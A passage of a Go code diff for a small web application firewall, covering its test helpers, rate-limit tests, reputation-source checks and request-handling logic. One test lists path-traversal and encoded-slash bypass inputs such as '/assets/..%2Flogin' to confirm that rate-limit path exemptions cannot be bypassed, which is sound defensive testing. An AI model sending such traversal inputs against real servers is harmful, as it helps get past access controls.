+	maps.Copy(settings, env)
+
+	cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
+		value, ok := settings[name]
+
+		return value, ok
+	})
+	if err != nil {
+		t.Fatalf("settings %v: %v", settings, err)
+	}
+
+	server := rproxy.New(rproxy.Params{
+		Config:     cfg,
+		RequestLog: io.Discard,
+		ProcessLog: requestlog.NewProcessLogger(io.Discard, "rproxy", slog.LevelInfo),
+	})
+
+	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	if err != nil {
+		t.Fatalf("listen: %v", err)
+	}
+
+	go func() {
+		_ = server.Serve(listener)
+	}()
+
+	t.Cleanup(func() {
+		_ = server.Close()
+	})
+
+	return listener.Addr().String()
+}
+
+// newServeWAF makes servewaf's server, without starting it, and returns it, what
+// it writes, and the queue of the alerts it raises, as the settings in env make
+// it. No alert is sent from the queue: they wait in it, for the test to look at.
+// With no geojsURL, there is no stand-in for GeoJS to look clients up at, and
+// SWWAF_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup
+// database SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
+// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. SWWAF_WAF_MODE is off unless
+// env sets it, so that only the tests of the Core Rule Set have their requests
+// inspected by it.
+func newServeWAF(
+	t *testing.T, geojsURL string, now func() time.Time, env map[string]string,
+) (*servewaf.Server, *output, *alerts.Queue) {
+	t.Helper()
+
+	return newServeWAFWith(t, servewaf.New, geojsURL, now, env)
+}
+
+// newServeWAFWith is newServeWAF for the server build makes.
+func newServeWAFWith(
+	t *testing.T, build func(servewaf.Params) *servewaf.Server,
+	geojsURL string, now func() time.Time, env map[string]string,
+) (*servewaf.Server, *output, *alerts.Queue) {
+	t.Helper()
+
+	settings := map[string]string{
+		rulesDir: t.TempDir(), instanceName: "app", wafMode: off,
+	}
+	if geojsURL == "" {
+		settings[lookupSource] = off
+	}
+
+	maps.Copy(settings, env)
+
+	cfg, err := config.FromEnvironment(func(name string) (string, bool) {
+		value, ok := settings[name]
+
+		return value, ok
+	})
+	if err != nil {
+		t.Fatalf("settings %v: %v", settings, err)
+	}
+
+	out := &output{}
+	processLog := requestlog.NewProcessLogger(out, cfg.InstanceName, cfg.LogLevel)
+
+	ruleFiles, err := rules.Load(rules.Params{
+		Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
+	})
+	if err != nil {
+		t.Fatalf("rule files: %v", err)
+	}
+
+	alertQueue := alerts.New(alerts.Params{
+		WebhookURL: cfg.AlertWebhookURL,
+		Events:     cfg.AlertEvents,
+		Cooldown:   cfg.AlertCooldown,
+		MaxPerHour: cfg.AlertMaxPerHour,
+		Instance:   cfg.InstanceName,
+		Now:        now,
+		ProcessLog: processLog,
+	})
+
+	var lookupFile *lookup.File
+
+	if cfg.LookupSource == fileSource {
+		lookupFile, err = lookup.OpenFile(lookup.FileParams{
+			Path: cfg.LookupDBPath, Now: now, ProcessLog: processLog, Alerts: alertQueue,
+		})
+		if err != nil {
+			t.Fatalf("lookup database: %v", err)
+		}
+	}
+
+	server := build(servewaf.Params{
+		Config:       cfg,
+		RequestLog:   out,
+		ProcessLog:   processLog,
+		GeoJSURL:     geojsURL,
+		AbuseIPDBURL: abuseIPDBURL,
+		LookupFile:   lookupFile,
+		Now:          now,
+		Rules:        ruleFiles,
+		Alerts:       alertQueue,
+	})
+
+	return server, out, alertQueue
+}
+
+// newClient returns an HTTP client that sends requests as they are made,
+// with no compression of its own.
+func newClient(t *testing.T) *http.Client {
+	t.Helper()
+
+	transport := &http.Transport{DisableCompression: true}
+	t.Cleanup(transport.CloseIdleConnections)
+
+	return &http.Client{Transport: transport}
+}
+
+// answer is a response as a test reads it: the status, the headers, as
+// much of the body as arrived, and the error that ended the reading, nil
+// when the whole body arrived.
+type answer struct {
+	status int
+	header http.Header
+	body   []byte
+	err    error
+}
+
+// readAnswer reads all of res, and closes its body.
+func readAnswer(res *http.Response) answer {
+	body, err := io.ReadAll(res.Body)
+	_ = res.Body.Close()
+
+	return answer{status: res.StatusCode, header: res.Header, body: body, err: err}
+}
+
+// newRequest makes a request for path to addr, where rproxy or servewaf listens.
+func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request {
+	t.Helper()
+
+	req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+path, body)
+	if err != nil {
+		t.Fatalf("new request: %v", err)
+	}
+
+	return req
+}
+
+// do sends req and reads the answer.
+func do(t *testing.T, req *http.Request) answer {
+	t.Helper()
+
+	res, err := newClient(t).Do(req)
+	if err != nil {
+		t.Fatalf("%s %s: %v", req.Method, req.URL.Path, err)
+	}
+
+	return readAnswer(res)
+}
+
+// get sends a GET request for path to addr.
+func get(t *testing.T, addr, path string) answer {
+	t.Helper()
+
+	return do(t, newRequest(t, http.MethodGet, addr, path, http.NoBody))
+}
+
+// dial opens a connection to addr, for requests the HTTP client cannot make,
+// such as one that stops sending halfway.
+func dial(t *testing.T, addr string) net.Conn {
+	t.Helper()
+
+	conn, err := (&net.Dialer{}).DialContext(t.Context(), "tcp", addr)
+	if err != nil {
+		t.Fatalf("dial %s: %v", addr, err)
+	}
+
+	t.Cleanup(func() {
+		_ = conn.Close()
+	})
+
+	return conn
+}
+
+// send writes text to conn.
+func send(t *testing.T, conn net.Conn, text string) {
+	t.Helper()
+
+	_, err := io.WriteString(conn, text)
+	if err != nil {
+		t.Fatalf("send: %v", err)
+	}
+}
+
+// readResponse reads the answer to a request sent on conn.
+func readResponse(t *testing.T, conn net.Conn) answer {
+	t.Helper()
+
+	err := conn.SetReadDeadline(time.Now().Add(waitLimit))
+	if err != nil {
+		t.Fatalf("set read deadline: %v", err)
+	}
+
+	res, err := http.ReadResponse(bufio.NewReader(conn), nil)
+	if err != nil {
+		t.Fatalf("read response: %v", err)
+	}
+
+	return readAnswer(res)
+}
+
+// wantLine checks the request log line's status and action.
+func wantLine(t *testing.T, line logLine, status int, action string) {
+	t.Helper()
+
+	if line.Status != status || line.Action != action {
+		t.Errorf("log line has status %d and action %q, want %d and %q",
+			line.Status, line.Action, status, action)
+	}
+}
+
+// wantStatus checks an answer's status.
+func wantStatus(t *testing.T, got answer, status int) {
+	t.Helper()
+
+	if got.status != status {
+		t.Errorf("status %d, want %d", got.status, status)
+	}
+}

internal/servewaf/ratelimits_test.go

@@ -0,0 +1,206 @@
+package servewaf_test
+
+import (
+	"net/http"
+	"sync/atomic"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// minute is the window of SWWAF_RATE_LIMIT_PER_MINUTE, as a log line's
+// limit_hit names it.
+const minute = "minute"
+
+func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
+	t.Parallel()
+
+	var calls atomic.Int32
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {
+		calls.Add(1)
+	})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		trustedProxies:     trustLocalhost,
+		rateLimitPerMinute: "1",
+	})
+
+	const otherClient = "203.0.113.10"
+
+	// With a limit of one request a minute, a client's second request is
+	// refused, with 403 by default. A client is one IPv4 address, or one
+	// IPv6 /64; an IPv4 address in IPv6 form is that IPv4 address.
+	requests := []struct {
+		client string // as X-Forwarded-For names it
+		logged string // as the log line's client_ip names it
+		want   int
+	}{
+		{client, client, http.StatusOK},
+		{client, client, http.StatusForbidden},
+		{otherClient, otherClient, http.StatusOK},
+		{"::ffff:" + otherClient, otherClient, http.StatusForbidden},
+		{"2001:db8::1", "2001:db8::1", http.StatusOK},
+		{"2001:db8::8000:0:0:1", "2001:db8::8000:0:0:1", http.StatusForbidden},
+		{"2001:db8:0:1::1", "2001:db8:0:1::1", http.StatusOK},
+	}
+
+	for i, sent := range requests {
+		req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+		req.Header.Set(forwardedFor, sent.client)
+		wantStatus(t, do(t, req), sent.want)
+
+		line := out.endedLines(t, i+1)[i]
+		if line.ClientIP != sent.logged {
+			t.Errorf("log line has client_ip %q, want %q", line.ClientIP, sent.logged)
+		}
+
+		if sent.want == http.StatusOK {
+			wantLine(t, line, http.StatusOK, requestlog.ActionForward)
+		} else {
+			wantLine(t, line, http.StatusForbidden, requestlog.ActionRateLimited)
+
+			if line.LimitHit != minute {
+				t.Errorf("log line has limit_hit %q, want minute", line.LimitHit)
+			}
+		}
+	}
+
+	if calls.Load() != 4 {
+		t.Errorf("the app was called %d times, want 4", calls.Load())
+	}
+}
+
+func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
+	t.Parallel()
+
+	// With SWWAF_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
+	// /64s of one /48, are one client, and the second's request breaks the
+	// limit; the third, in the next /48, is another client.
+	const (
+		first  = "2001:db8:9::1"
+		second = "2001:db8:9:1::1"
+		other  = "2001:db8:a::1"
+	)
+
+	for _, tc := range []struct {
+		setting, value string
+		// status and action are those of the request that breaks the
+		// limit: a rate limit refuses it, a byte limit passes it on.
+		status int
+		action string
+	}{
+		{rateLimitPerMinute, "1", http.StatusForbidden, requestlog.ActionRateLimited},
+		{bytesLimitPerMinute, byteLimit, http.StatusOK, requestlog.ActionForward},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, _ := startWithAnswers(t, map[string]string{
+				ipv6GroupPrefix: "48", tc.setting: tc.value,
+			})
+
+			s.get(first, http.StatusOK, requestlog.ActionForward)
+
+			line := s.get(second, tc.status, tc.action)
+			if line.ClientGroup != "2001:db8:9::/48" ||
+				line.Offence != requestlog.OffenceLimit {
+				t.Errorf("log line has client_group %q and offence %q, "+
+					"want 2001:db8:9::/48 and limit", line.ClientGroup, line.Offence)
+			}
+
+			s.get(other, http.StatusOK, requestlog.ActionForward)
+		})
+	}
+}
+
+func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
+	t.Parallel()
+
+	const denied = "192.0.2.50" // in SWWAF_DENY_NETS
+
+	geojsURL, _ := startGeoJS(t)
+	s, _, server := startWithClock(t, geojsURL, map[string]string{
+		rateLimitPerMinute:   "1",
+		rateLimitExemptPaths: "/assets/,/favicon.ico",
+		denyNets:             denied,
+		deniedCountries:      "kp",
+	})
+
+	// The answers are kept before the requests, so that none waits for
+	// GeoJS.
+	server.GeoJS.Load([]lookup.Answer{
+		keptAnswer(client, "DE"), keptAnswer(fromKP, "KP"),
+	})
+
+	// With a limit of one request a minute, the requests for paths under a
+	// prefix are not counted, so client's first request for / is within
+	// the limit; and once client has reached it, they are not refused.
+	s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward)
+	s.request(client, "/favicon.ico?v=2", http.StatusOK, requestlog.ActionForward)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	line := s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward)
+	if line.LimitHit != "" || line.Counts != (ratelimit.Counts{}) {
+		t.Errorf("log line has limit_hit %q and counts %+v, want neither",
+			line.LimitHit, line.Counts)
+	}
+
+	// A path outside every prefix is counted: /assets is not under
+	// /assets/, and breaks the limit.
+	s.request(client, "/assets", http.StatusForbidden, requestlog.ActionRateLimited)
+
+	// A ban, SWWAF_DENY_NETS and the country lists still refuse a path
+	// under a prefix.
+	s.request(client, "/assets/app.js", http.StatusForbidden, requestlog.ActionBanned)
+	s.request(denied, "/assets/app.js", http.StatusForbidden, requestlog.ActionDenied)
+	s.request(fromKP, "/assets/app.js",
+		http.StatusForbidden, requestlog.ActionCountryDenied)
+}
+
+func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) {
+	t.Parallel()
+
+	for _, sent := range []string{
+		// A prefix matches only at the start of the path.
+		"/static/assets/app.js",
+		// A prefix matches the path as sent: a router that matches the
+		// path as received does not take /%61ssets/x for a path under
+		// /assets/.
+		"/%61ssets/x",
+		// .. once percent-decoded: an app may act on these as /login, the
+		// last as a path under /sneak/app/ or as /assets/x.
+		"/assets/../login",
+		"/assets/%2e%2e/login",
+		"/assets/..%2Flogin",
+		"/assets/..;/login",
+		"/sneak/app/src/branch/main/..%2F..%2F..%2F..%2F..%2F..%2Fassets/x",
+		// Not under /assets/ as sent: Go's router takes /assets%2Fx for one
+		// path segment, not a path under /assets/.
+		"/assets%2Fx",
+		"/assets%2fx",
+		// Under /assets/ as sent, but holding an encoded slash, in either
+		// case, or a backslash: never exempt, whatever the prefix.
+		"/assets/x%2Fy",
+		"/assets/x%2fy",
+		`/assets/x\y`,
+		// The same with a character Go escapes, |, for which Go's
+		// URL.EscapedPath gives /assets/x/y%7Cz, with no encoded slash.
+		"/assets/x%2Fy|z",
+	} {
+		t.Run(sent, func(t *testing.T) {
+			t.Parallel()
+
+			s, _, _ := startWithClock(t, "", map[string]string{
+				rateLimitPerMinute:   "1",
+				rateLimitExemptPaths: "/assets/",
+			})
+
+			// Counted, the second request breaks the limit of one request
+			// a minute.
+			s.request(client, sent, http.StatusOK, requestlog.ActionForward)
+			s.request(client, sent, http.StatusForbidden, requestlog.ActionRateLimited)
+		})
+	}
+}

internal/servewaf/reputation.go

@@ -0,0 +1,122 @@
+package servewaf
+
+import (
+	"context"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+)
+
+// deny is the SWWAF_BLOCKLIST_ACTION and the SWWAF_REPUTATION_ACTION that
+// refuses the requests of a client a source lists.
+const deny = "deny"
+
+// blocklistDenied notes the blocklists that list the client, as
+// noteListed does, and reports whether SWWAF_BLOCKLIST_ACTION, being deny,
+// refuses the request. Being limit, it lowers the client's limits instead
+// (see limitPercentages), and being log, it does nothing more.
+func (rq *request) blocklistDenied() bool {
+	listedBy := rq.h.lists.ListedBy(rq.client)
+	rq.blocklisted = len(listedBy) > 0
+	rq.noteListed(listedBy, "listed by a blocklist")
+
+	return rq.blocklisted && rq.h.config.BlocklistAction == deny
+}
+
+// crowdSecBanned reports whether a decision of the CrowdSec decision list
+// on the client is in force at now. If one is, it notes the list, as
+// noteHit does, and bans the client until that decision ends.
+func (rq *request) crowdSecBanned(now time.Time) bool {
+	decision, listed := rq.h.lists.CrowdSecDecision(rq.client, now)
+	if !listed {
+		return false
+	}
+
+	rq.noteHit(bans.ReputationHit{Source: rq.h.config.CrowdSecDecisionsURL},
+		"listed by the CrowdSec decision list")
+	rq.banForCrowdSec(now, decision)
+
+	return true
+}
+
+// dnsblDenied notes the DNSBL zones whose verdict lists the client, as
+// noteListed does, and reports whether SWWAF_REPUTATION_ACTION, being
+// deny, refuses the request. Being limit, it lowers the client's limits
+// instead (see limitPercentages), and being log, it does nothing more. A
+// zone without a verdict on the client is asked about it in the
+// background, and the request does not wait for the answer. ctx is the
+// request's own context.
+func (rq *request) dnsblDenied(ctx context.Context) bool {
+	listedBy := rq.h.dnsbl.ListedBy(ctx, rq.client)
+	rq.dnsblListed = len(listedBy) > 0
+	rq.noteListed(listedBy, "listed by a DNSBL zone")
+
+	return rq.dnsblListed && rq.h.config.ReputationAction == deny
+}
+
+// abuseIPDBDenied notes AbuseIPDB, as noteHit does, with the score, when
+// its score of the client is a hit, and reports whether
+// SWWAF_REPUTATION_ACTION, being deny, refuses the request, as dnsblDenied
+// does for a zone. While SWWAF_ABUSEIPDB_KEY is unset it does nothing. A
+// client without a score is checked in the background, by the request's
+// address, if its history counts an offence, and the request does not
+// wait for the answer. The score is then used for each address of the
+// client. ctx is the request's own context.
+func (rq *request) abuseIPDBDenied(ctx context.Context) bool {
+	if rq.h.config.AbuseIPDBKey == "" {
+		return false
+	}
+
+	client := rq.h.clientGroup(rq.client)
+	held, _ := rq.h.limiter.Client(client)
+	offender := held.History.Offences != ratelimit.Offences{}
+
+	score, hit := rq.h.abuseIPDB.Hit(ctx, client, rq.client, offender)
+	if !hit {
+		return false
+	}
+
+	rq.abuseIPDBHit = true
+	rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
+		"scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE")
+
+	return rq.h.config.ReputationAction == deny
+}
+
+// noteListed notes each of sources, the URLs of the blocklists or the
+// DNSBL zones, their keys masked, that list the client, as noteHit does,
+// with reason.
+func (rq *request) noteListed(sources []string, reason string) {
+	for _, source := range sources {
+		rq.noteHit(bans.ReputationHit{Source: source}, reason)
+	}
+}
+
+// noteHit adds hit's source, which lists the client, to the log line's
+// reputation, and hit to the notes of a ban the request makes, counts the
+// source in the metrics, and raises a reputation_hit alert with reason,
+// whose detail gives hit's source and score.
+func (rq *request) noteHit(hit bans.ReputationHit, reason string) {
+	detail := map[string]any{"source": hit.Source}
+	if hit.Score != nil {
+		detail["score"] = *hit.Score
+	}
+
+	rq.line.Reputation = append(rq.line.Reputation, hit.Source)
+	rq.reputation = append(rq.reputation, hit)
+	rq.h.metrics.ReputationHit(hit.Source)
+	rq.h.alerts.Raise(alerts.Alert{
+		Event:    alerts.EventReputationHit,
+		Host:     rq.site,
+		Client:   rq.client,
+		Netblock: rq.h.clientGroup(rq.client),
+		ASN:      rq.line.ASN,
+		ASName:   rq.line.ASName,
+		Country:  rq.line.Country,
+		Reason:   reason,
+		Detail:   detail,
+	})
+}

internal/servewaf/request.go

@@ -0,0 +1,462 @@
+package servewaf
+
+import (
+	"context"
+	"net/http"
+	"net/netip"
+	"slices"
+	"strings"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/anomaly"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/rules"
+)
+
+// refusal is servewaf refusing a request: the status the visitor is to get, 0
+// to close its connection without an answer, and the action the log line names.
+type refusal struct {
+	status int
+	action string
+}
+
+// decision is what the checks note of a request: its log line, and what
+// counting the request needs once it has ended. servewaf keeps a copy of it
+// until the request's report comes. It holds no credentials, since the log line
+// never does, and neither the request's objects nor their bodies.
+type decision struct {
+	line   requestlog.Line
+	client netip.Addr
+	// requestURI is the path with the query, as a ban's notes keep it.
+	requestURI string
+	// site is, for a question, the host the visitor asked for, which the
+	// alerts name, since one servewaf serves many sites.
+	site string
+	// allowed is true for a question answered with DispositionAllow.
+	allowed bool
+	// lookedUp is true once the client's AS number and country have been
+	// looked up, whether or not an answer was there, and lookupAnswer is
+	// what the lookup gave then, the zero Answer while GeoJS had given none.
+	lookedUp     bool
+	lookupAnswer lookup.Answer
+	// skippedLookupWait is true for a request that did not wait for GeoJS and
+	// found no answer kept. SWWAF_UNKNOWN_LIMIT_PERCENT does not apply to it,
+	// so that not waiting never lowers its client's limits.
+	skippedLookupWait bool
+	// counted is true for a request the rate limits counted, whose bytes
+	// the byte limits count once it has ended. limitPercent and
+	// bytesPercent are then its client's limit percentages for the rate
+	// limits and for the byte limits.
+	counted                    bool
+	limitPercent, bytesPercent percentage
+	// attack is true for a request that matched a ban rule or asked for a
+	// trap path, ruleBlocked for one a block rule refused, and wafBlocked for
+	// one the Core Rule Set refused, each an offence its client's history
+	// counts.
+	attack, ruleBlocked, wafBlocked bool
+	// reputation is the reputation sources that list the client, for the
+	// notes of a ban the request makes.
+	reputation []bans.ReputationHit
+}
+
+// request is one request to servewaf, from the moment its headers have been
+// read to its log line.
+type request struct {
+	decision
+
+	h   *handler
+	in  *http.Request
+	out *responseWriter
+
+	// blocklisted is true once a blocklist is found to list the client,
+	// dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once
+	// AbuseIPDB's score of it is a hit.
+	blocklisted, dnsblListed, abuseIPDBHit bool
+	start                                  time.Time
+	// checked is when the checks were done.
+	checked time.Time
+	// refused is what the request was refused with, nil if it was not.
+	refused *refusal
+	// requestBytes is how many bytes of the request's body have been read.
+	requestBytes int64
+}
+
+// startRequest starts handling r from client, which came through peer: it
+// notes the time, counts the request as under way, and starts the log line
+// with what is known of the request. isQuestion says whether r is a question,
+// whose headers give the request's id and scheme.
+func (h *handler) startRequest(
+	w http.ResponseWriter, r *http.Request, client, peer netip.Addr, isQuestion bool,
+) *request {
+	h.metrics.RequestStarted()
+
+	start := time.Now()
+	forwardedFor := r.Header.Values("X-Forwarded-For")
+
+	rq := &request{
+		decision: decision{
+			client:     client,
+			requestURI: r.URL.RequestURI(),
+			line: requestlog.Line{
+				Time:             requestlog.FormatTime(start),
+				Instance:         h.config.InstanceName,
+				ClientIP:         client.String(),
+				Method:           r.Method,
+				Scheme:           scheme(r, isQuestion),
+				Host:             r.Host,
+				Path:             rules.Path(r),
+				Query:            r.URL.RawQuery,
+				Protocol:         r.Proto,
+				Referer:          r.Referer(),
+				UserAgent:        r.UserAgent(),
+				RequestID:        requestID(r, isQuestion),
+				PeerIP:           peer.String(),
+				ForwardedFor:     strings.Join(forwardedFor, ", "),
+				ClientGroup:      h.clientGroup(client).String(),
+				ContentType:      r.Header.Get("Content-Type"),
+				RequestHeaders:   requestHeaders(r, h.config.LogRequestHeaders),
+				HasAuthorization: len(r.Header.Values("Authorization")) > 0,
+				HasCookie:        len(r.Header.Values("Cookie")) > 0,
+				Action:           requestlog.ActionForward,
+			},
+		},
+		h:     h,
+		in:    r,
+		out:   &responseWriter{ResponseWriter: w},
+		start: start,
+	}
+
+	// A length of -1 is a body whose length was not announced.
+	if r.ContentLength > 0 {
+		rq.line.ContentLength = r.ContentLength
+	}
+
+	return rq
+}
+
+// requestHeaders returns the headers of r that names lists, by name in
+// lower case, each with its values joined by ", ". Authorization, Cookie
+// and Set-Cookie are never among them, whatever names says.
+func requestHeaders(r *http.Request, names []string) map[string]string {
+	headers := map[string]string{}
+
+	for _, name := range names {
+		switch name {
+		case "authorization", "cookie", "set-cookie":
+			continue
+		}
+
+		values := r.Header.Values(name)
+		if len(values) > 0 {
+			headers[name] = strings.Join(values, ", ")
+		}
+	}
+
+	return headers
+}
+
+// check is the one place where a request can be refused. It returns nil to let
+// the request through. The checks of checkClient decide: a request they refuse
+// is answered with SWWAF_BAN_RESPONSE, 403 for a block rule or the Core Rule Set,
+// or 431 for the header limits. In observe mode nothing is refused, and the log
+// line names what enforce mode would have done. ctx is the request's own context.
+func (rq *request) check(ctx context.Context) *refusal {
+	action := rq.checkClient(ctx)
+
+	switch {
+	case action == "":
+		return nil
+	case rq.h.config.Observe:
+		rq.line.WouldAction = action
+
+		return nil
+	case action == requestlog.ActionRuleBlocked || action == requestlog.ActionWAFBlocked:
+		return &refusal{status: http.StatusForbidden, action: action}
+	case action == requestlog.ActionTooLarge:
+		return &refusal{status: http.StatusRequestHeaderFieldsTooLarge, action: action}
+	default:
+		return rq.banResponse(action)
+	}
+}
+
+// checkClient runs the checks on the request's client, and returns the
+// action of the first that refuses the request, or "" when none does. A
+// client in SWWAF_ALLOW_NETS skips them, and is not looked up. For any
+// other client, SWWAF_DENY_NETS comes first, then a ban on its netblock,
+// so that a client either refuses is not looked up, then the lookup of
+// its AS number and country, then the country lists, then the blocklists,
+// then the CrowdSec decision list, which bans the client it lists, then
+// the DNSBL zones' verdicts, and then AbuseIPDB's score; a request any of
+// them refuses is not counted for the rate limits. Then come the
+// rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the
+// request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that
+// every other request is counted, each of them by the client's limit
+// percentages, then SWWAF_TRAP_PATHS, then the rule files, then the header
+// limits, and last the Core Rule Set. A request exempt from the rate limits
+// is exempt from the byte limits too. ctx is the request's own context.
+func (rq *request) checkClient(ctx context.Context) string {
+	cfg := rq.h.config
+	if isInside(rq.client, cfg.AllowNets) {
+		return ""
+	}
+
+	now := rq.h.now()
+
+	if isInside(rq.client, cfg.DenyNets) {
+		return requestlog.ActionDenied
+	}
+
+	if rq.banned(now) {
+		return requestlog.ActionBanned
+	}
+
+	rq.lookUp(ctx, now)
+
+	// The lookup can wait for GeoJS, so the checks after it read the time
+	// again: a request counted at the time it arrived could be counted
+	// after a later one of its client's, which the rate limits would take
+	// for the clock set back.
+	now = rq.h.now()
+
+	if rq.countryDenied() {
+		return requestlog.ActionCountryDenied
+	}
+
+	if rq.blocklistDenied() {
+		return requestlog.ActionDenied
+	}
+
+	if rq.crowdSecBanned(now) {
+		return requestlog.ActionBanned
+	}
+
+	if rq.dnsblDenied(ctx) || rq.abuseIPDBDenied(ctx) {
+		return requestlog.ActionDenied
+	}
+
+	rq.counted = rq.countedByRateLimits()
+	if rq.counted {
+		rq.limitPercent, rq.bytesPercent = rq.limitPercentages()
+		rq.line.LimitPercent, rq.line.LimitPercentSetting = rq.limitPercent.logged()
+		rq.line.BytesPercent, rq.line.BytesPercentSetting = rq.bytesPercent.logged()
+	}
+
+	if rq.counted && rq.limitBroken(now) {
+		return requestlog.ActionRateLimited
+	}
+
+	if rq.trapPath(now) {
+		return requestlog.ActionBanned
+	}
+
+	action := rq.checkRules(now)
+	if action != "" {
+		return action
+	}
+
+	if rq.overHeaderLimits() {
+		return requestlog.ActionTooLarge
+	}
+
+	return rq.checkCoreRuleSet()
+}
+
+// countedByRateLimits reports whether the rate limits count the request: its
+// client is not in SWWAF_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
+// under SWWAF_RATE_LIMIT_EXEMPT_PATHS.
+func (rq *request) countedByRateLimits() bool {
+	cfg := rq.h.config
+
+	return !isInside(rq.client, cfg.RateLimitExemptNets) &&
+		!pathExempt(rq.in, cfg.RateLimitExemptPaths)
+}
+
+// pathExempt reports whether r is exempt under prefixes,
+// SWWAF_RATE_LIMIT_EXEMPT_PATHS or SWWAF_WAF_EXEMPT_PATHS: whether its
+// path as sent, the path the app receives, not percent-decoded, starts
+// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
+// app whose router matches the path as received. A request whose decoded
+// path contains .. anywhere or a backslash, or whose path as sent holds an
+// encoded slash (%2F or %2f), never is, since an app may act on it as a
+// path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
+// as one path segment, as Go's router does.
+func pathExempt(r *http.Request, prefixes []string) bool {
+	decoded := r.URL.Path
+	sent := rules.Path(r)
+
+	if strings.Contains(decoded, "..") || strings.Contains(decoded, `\`) ||
+		strings.Contains(strings.ToLower(sent), "%2f") {
+		return false
+	}
+
+	return slices.ContainsFunc(prefixes, func(prefix string) bool {
+		return strings.HasPrefix(sent, prefix)
+	})
+}
+
+// finish counts the request in the metrics and writes its log line.
+func (rq *request) finish() {
+	line := &rq.line
+	line.Status = rq.out.status
+	line.ResponseBytes = rq.out.bytes
+	line.ResponseContentType = rq.out.Header().Get("Content-Type")
+	line.RequestBytes = rq.requestBytes
+
+	switch {
+	case rq.refused != nil:
+		line.Action = rq.refused.action
+	case rq.out.err != nil || rq.in.Context().Err() != nil:
+		line.Aborted = true
+	}
+
+	duration := time.Since(rq.start)
+	line.DurationTotal = requestlog.Milliseconds(duration)
+	line.DurationChecks = timing(rq.start, rq.checked)
+
+	// Counted before the log line is written, so that the metrics count
+	// every request whose line is out. An allowed request is the exception:
+	// its report gives the status, bytes and times the metrics count.
+	if rq.allowed {
+		rq.h.metrics.RequestAllowed()
+	} else {
+		rq.h.metrics.RequestEnded(line, duration)
+	}
+
+	rq.writeLine()
+}
+
+// writeLine writes the request's log line.
+func (rq *request) writeLine() {
+	err := requestlog.Write(rq.h.requestLog, &rq.line)
+	if err != nil {
+		rq.h.processLog.Error("writing the request log failed", "error", err.Error())
+	}
+}
+
+// timing is the time from start to end in milliseconds, for one of the
+// log line's timings, or nil when end is zero: what it times never
+// happened.
+func timing(start, end time.Time) *float64 {
+	if end.IsZero() {
+		return nil
+	}
+
+	return new(requestlog.Milliseconds(end.Sub(start)))
+}
+
+// addToHistory adds the request, which has ended, to its client's
+// history, and counts its offences in the metrics, and then the lookup's
+// answer about the client, as answerAtTheEnd gives it, to that history and
+// to the notes of the bans on its netblock: an answer may have come
+// before either was there, and one from GeoJS that comes later is added
+// when it comes.
+func (rq *request) addToHistory() {
+	request := ratelimit.Request{
+		Forwarded:     rq.allowed,
+		Refused:       rq.refused != nil,
+		Status:        rq.out.status,
+		RequestBytes:  rq.requestBytes,
+		ResponseBytes: rq.out.bytes,
+		BrokeLimit:    rq.line.Offence == requestlog.OffenceLimit,
+		Attack:        rq.attack,
+		RuleBlocked:   rq.ruleBlocked,
+		WAFBlocked:    rq.wafBlocked,
+	}
+
+	rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
+	rq.h.metrics.Offences(request)
+
+	answer, found := rq.answerAtTheEnd()
+	if found {
+		rq.h.addLookup(answer)
+	}
+}
+
+// countAnomalies counts the request, which has ended, and its bytes, as
+// countedBytes gives them, for the anomaly thresholds, whatever was done
+// with it: a request refused, one from a client in SWWAF_ALLOW_NETS or
+// SWWAF_RATE_LIMIT_EXEMPT_NETS, and one for a path in
+// SWWAF_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its
+// client's AS number when answerAtTheEnd gives one. With every anomaly
+// threshold off, the default, it does nothing.
+func (rq *request) countAnomalies() {
+	if !anomalyThresholdsSet(rq.h.config) {
+		return
+	}
+
+	answer, _ := rq.answerAtTheEnd()
+
+	rq.h.anomalies.Count(rq.h.now(), anomaly.Request{
+		Host:        rq.site,
+		Client:      rq.client,
+		ClientGroup: rq.h.clientGroup(rq.client),
